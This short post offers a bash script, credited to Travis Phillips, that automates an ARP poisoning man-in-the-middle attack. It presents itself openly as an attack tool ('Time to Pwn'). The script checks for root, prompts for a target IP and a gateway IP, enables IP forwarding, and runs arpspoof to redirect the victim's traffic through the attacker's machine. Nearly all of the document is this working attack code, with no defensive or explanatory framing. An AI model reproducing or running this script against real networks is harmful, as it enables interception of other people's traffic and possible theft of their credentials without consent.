ARP Poisoning Script

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The purpose of this script is to automate the process of ARP poison attacks.The attacker must only insert the IP address of the target and the IP of the Gateway.This script was coded by Travis Phillips and you can find the source code below:

```
#!/bin/bash
niccard=eth1
if [[ $EUID -ne 0 ]]; then
echo -e "\n\t\t\t33[1m 33[31m Script must be run as root! 33[0m \n"
echo -e "\t\t\t Example: sudo $0 \n"
exit 1
else
echo -e "\n33[1;32m####################################"
echo -e "# ARP Poison Script #"
echo -e "####################################"
echo -e " 33[1;31mCoded By:33[0m Travis Phillips"
echo -e " 33[1;31mDate Released:33[0m 03/27/2012"
echo -e " 33[1;31mWebsite:33[0m http://theunl33t.blogspot.com\n33[0m"
echo -n "Please enter target's IP: "
read victimIP
echo -n "Please enter Gateway's IP: "
read gatewayIP
echo -e "\n\t\t ---===[Time to Pwn]===---\n\n\n"
echo -e "\t\t--==[Targets]==--"
echo -e "\t\tTarget: $victimIP"
echo -e "\t\tGateway: $gatewayIP \n\n"
echo -e "[*] Enabling IP Forwarding \n"
echo "1" > /proc/sys/net/ipv4/ip_forward
echo -e "[*] Starting ARP Poisoning between $victimIP and $gatewayIP! \n"
xterm -e "arpspoof -i $niccard -t $victimIP $gatewayIP" &
fi
```

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